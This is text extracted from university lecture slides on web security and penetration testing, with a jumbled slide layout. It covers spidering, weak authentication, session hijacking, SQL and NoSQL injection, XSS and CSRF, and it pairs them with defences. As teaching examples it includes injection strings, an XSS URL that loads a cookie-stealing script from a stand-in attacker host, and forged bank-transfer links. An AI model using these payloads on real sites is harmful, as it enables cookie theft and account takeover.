Security

vulnerabilities
and penetration
testing
Dr Phillip James
Recap and Last week we explored the very popular buffer
today overflow vulnerability.

However, modern computing is all about the web…

Today we will look at security vulnerabilities relating

to:
• Web services
• Web applications
Web servers
What is a web Manages requests for services and responses.
server
Web
Server
Client Side
Browser

Various
“services”
 Many popular products (which are targeted):
Products and • IIS
• Apache
results • Nginx
• …
Like this bitcoin forum:

Impacts:
• Web defacement
• Data tampering (can be hard to spot)
• Theft (Email addresses/passwords/credit card)
• Pivot point (use it as a way into the
backend/network)
But why so Web servers and their setup is done by humans…
many attacks
• Unnecessary files
• Security v Functionality
• Default Settings
• Permissions on files
• Misconfiguration
• Default accounts (01 = Admin…)
• Security flaws in the system itself
• Improper Authentication
Measure these • Patches.
counters • Alt sites/servers.
• Hire me :)
• Don’t change live system. Ever. And re-run tests.
• Vulnerability scan yourself.
• Actually monitor things regularly.
• Encryption. Always. (SSL).
• Good architecture/Network protection.
Presentation/application/data.
Example: patch AWS patch management workflow:
management
Web applications
What is a web Manages data manipulation and access.
app Web
Server
Client Side
Browser

Web
Applications

Database
Techniques for • Directory traversal (navigate web server
structure)
pen testing • HTTP Response splitting
• Web cache poisoning
• MiTM
• Cookie tampering
• DDoS
• CSRF
• SQL Injections
• Session hijacking
• …
 Web spiders

Mapping the Tools that work by requesting a web page, parsing it for links
app to other content, requesting these links, and continuing
recursively until no new content is discovered.
The first step, enumerate content.
(Advanced tools Can also parse JavaScript for URLs…)

WARNING: For some applications, running even a simple web

spider that parses and requests links can be extremely
dangerous.

For example, an application may contain administrative

functionality that deletes users, great damage can be done if
the spider discovers and uses sensitive functionality.
 Aim: Map out attack space, and perhaps find files like
robots.txt:
Aims of
mapping
Simple example (workday.com):

generally
bad…

Might also discover:

Backups, new features not fully developed, config files, log
files, identify points of user entry/hidden parameters.

Basically: hard to stop mapping, but don’t leak information.

Basic: wget
wget -r -l4 --spider -D <web_address1>, <web_address2>

-r -- recursive (so “follow the links” and look for more than
one page)
-l -- indicates the number of levels we want to recurse.
--spider -- indicates not to download anything (we just want
to go through the pages, that’s all)
-D -- indicates the list (separated by commas) of domains
where we think it’s acceptable to “spider”
Bit less basic:
Burp Suite
(Demo)
 Many types of web app authentication, many attacks!

Weak Bad passwords

-> Same old story…brute force.
authentication
Verbose error messages, subtitles in responses
-> Allows e.g. username enumeration.
Not using SSL
-> Less common, but think about mobile apps.
Password recovery
-> Who’s Liam’s mother?...
Remember me
-> Usually cookie.
Insecure distribution of credentials
-> Email me
 1. Activate any “remember me” functionality
Example steps
of a pen tester 2. Closely inspect all persistent cookies that are set, and also any
data that is persisted. Look for any saved data that seems to
identify the user.

3. Even where stored data appears to be heavily encoded or

obfuscated, review this closely. Compare the results of
“remembering” several very similar usernames and/or passwords
to identify any opportunities to reverse-engineer the original
data.

4. Attempt to modify the contents of the persistent cookie to try to

convince the application that another user has saved his details
on your computer.
 Use strong credentials

Avoiding weak • Unique usernames, suitable min length passwords,

entropy if generated.
authentication Handle credentials secretively
• Use SSL!
• Don’t store passwords.
• Have a reset system, and force changes.
Prevent brute force

• Limit attempts, use captcha.

Don’t leak information
Validate logic for validation

• Check the checking process carefully (e.g. don’t

truncate passwords…)
Session Because http communication uses many different
TCP connections, the web server needs a method
management to recognize every user’s connections.

The most useful method depends on a token that

the Web Server sends to the client browser after a
successful client authentication.

Hence people can steal these tokens!

 Stealing or predicting a valid session token to gain
Attacking: unauthorized access to the Web Server.

session
hijacking
Victim Session id = 1234 Web Server

Attacker Session id = 1234

The session token could be compromised in different ways;

the most common are:
• Predictable session token (yes).
• Session Sniffing.
• Client-side attacks (XSS, malicious JavaScript Codes,
Trojans, etc).
• Man-in-the-middle attack.
 For example, the following token may initially appear to be a
long random string:
Example: hard
to randomize 757365723d6461663b6170703d61646d696e3b64617465
3d30312f31322f3131

However it contains only hexadecimal characters.

Guessing that the string encode ASCII characters, you run it

through a decoder to reveal the following:

user=daf;app=admin;date=10/09/11

Tokens that contain meaningful data often exhibit a structure.

 We all know about SQL injection:
Attacking data query = “SELECT uid from USERS WHERE login=`” + login + “` AND
passwd=`” + pass + “`”
stores:
injection Anyone see a problem?
What happens with: ` or `1` = 1`#?

Same with NoSQL J:

$m = new Mongo();
$db = $m->cmsdb;
$collection = $db->user;
$js = “function() {
return this.username == ‘$username’ & this.password == ‘$password’;
}”;

What happens if we supply Liam’ // and any password?

Defence Defending against injection attacks can be solved using
against parameterised queries. (in general).

injection Depends on language:

string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId";

SqlCommand command = new SqlCommand(sql);
command.Parameters.Add(new SqlParameter("@CustomerId",
System.Data.SqlDbType.Int));
command.Parameters["@CustomerId"].Value = 1;
Attacking Basic idea: attacker injects client-side scripts into web pages
users: XSS viewed by other users.

Consider this common scenario:

Alice often visits a particular website, which is hosted by Bob.

• Bob's website allows Alice to log in with a
username/password.
• When a user logs in, the browser keeps an Authorization
Cookie.
• Bob’s website has a simple search feature.
 Eve observes that Bob's website contains a (reflected) XSS
vulnerability:

The attacker
1. Eve inputs a search term. If no results are found, a page
will display the term followed by the words “not found,”.
The url:
http://bobssite.org?q=search term.
which is perfectly normal behavior.

2. However, when she submits an abnormal search query,

like
" <script type='text/javascript'>alert('xss');</script> "
An alert box appears (that says "xss")!!
 3. Eve crafts a URL to exploit the vulnerability:
http://bobssite.org?q=puppies<script%20src="http://mallorys
Whoops! evilsite.com/authstealer.js"></script>.

4. She sends an e-mail to some unsuspecting members of

Bob's site, saying "Check out some cute puppies!”

Alice gets the e-mail and clicks on the link. It displays "puppies
not found" but right in the middle, the script tag runs (it is
invisible on the screen) and loads and runs authstealer.js
(triggering the XSS attack).

Alice forgets about the broken email…

 The authstealer.js program runs in Alice's browser.
Now imagine…
It grabs a copy of Alice's Authorization Cookie and
sends it to Eve’s server.

Eve now puts Alice's Authorization Cookie into her

browser as if it were her own. She then goes to
Bob's site and is now logged in as Alice.

This is an example of XSS.

Defence Defending against XSS attacks can be tricky.
against XSS
Options:
• Manually check inputs, e.g. for “<” characters.
• Don’t be Daft!

• Use a library J
• Many exist, for example:
https://code.google.com/archive/p/xssprotect/
• XSS Tokens (extra reading)
Cross site
request Cross-Site Request Forgery (CSRF)
forgery An attack that forces an end user to execute
unwanted actions on a web application in which
they're currently authenticated.

Unlike cross-site scripting (XSS), which exploits the

trust a user has for a particular site, CSRF exploits
the trust that a site has in a user's browser.
Typical CSRF commonly has the following characteristics:
characteristics
• It involves sites that rely on a user's identity.
• It exploits the site's trust in that identity.
• It tricks the user's browser into sending HTTP
requests to a target site.
• It involves HTTP requests that have side effects.
 Say Alice uses bank.com to transfer money to Bob.

Example CSRF A typical (Get) request to do this may look like:

http://bank.com/transfer.do?acct=BOB&amount=100

What if Eve could get Alice to click this link instead:

http://bank.com/transfer.do?acct=EVE&amount=100000

… Easy, put it in an email/image...

Relies on Alice being authenticated with the site!

Whose been Universal XSS in Internet Explorer (2015) [1]
hit? Tweetdeck (2014) [2]
PayPal (2013) – BONUS: discovered by a 17 year old kid [3]
Google Finance (2013) [4]
25 “Verasign-secured” online stores (2012) [5]
McAfee (2011) [6]
Visa (2010) [7]

[1] http://seclists.org/fulldisclosure/2015/Feb/0
[2] http://techcrunch.com/2014/06/11/tweetdeck-fixes-xss-vulnerability/
[3] http://threatpost.com/paypal-site-vulnerable-to-xss-attack
[4] http://miki.it/blog/2013/7/30/xss-in-google-finance/
[5] http://nakedsecurity.sophos.com/2012/02/28/verisign-xss-holes/
[6] http://www.scmagazine.com/mcafee-working-to-fix-xss-information-
disclosure-flaws/article/199505/
[7] http://news.softpedia.com/news/XSS-Weakness-Found-on-Visa-USA-
Website-157115.shtml
Vulnerability
Scanners
‘good tools are good tools’
 Burp Suite:

Vulnerability • Mainly paid for features, but very

popular and effective.
scanning
OWASP Zed:
• One of the most popular free tools.
• Helps you automatically find security
vulnerabilities in web applications.
• Integrates well e.g Jenkins

Nessus:
• Automated continual scanning.
• Less “interaction” with website
than e.g. Burp Suite.
 Literally a full course of information with good
Further demos and a website illustrating attacks.

reading
 We have explored a number of vulnerabilities:
Summary • Web server configurations
• Web applications, including:
• Spidering
• Weak authentication
Noun: a brief statement or account
of the main points of something. • Session hijacking
• Injection attacks
• XSS
• Methods of defence.

Lab: Performing the above.

Next week: Back to pen testing methodologies.